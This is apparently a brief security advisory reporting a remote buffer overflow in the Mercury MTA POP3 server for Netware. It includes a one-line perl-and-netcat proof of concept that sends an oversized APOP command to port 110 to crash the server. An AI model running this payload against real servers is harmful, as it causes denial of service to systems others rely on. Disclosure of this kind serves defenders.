Hello,

All versions of widely-used POP3 server from Mercury MTA package for Netware
are vulnerable to remote buffer overflow allowing to crash Netware server:

perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc host 110

Remote execution of malicious code is also theoretically possible.
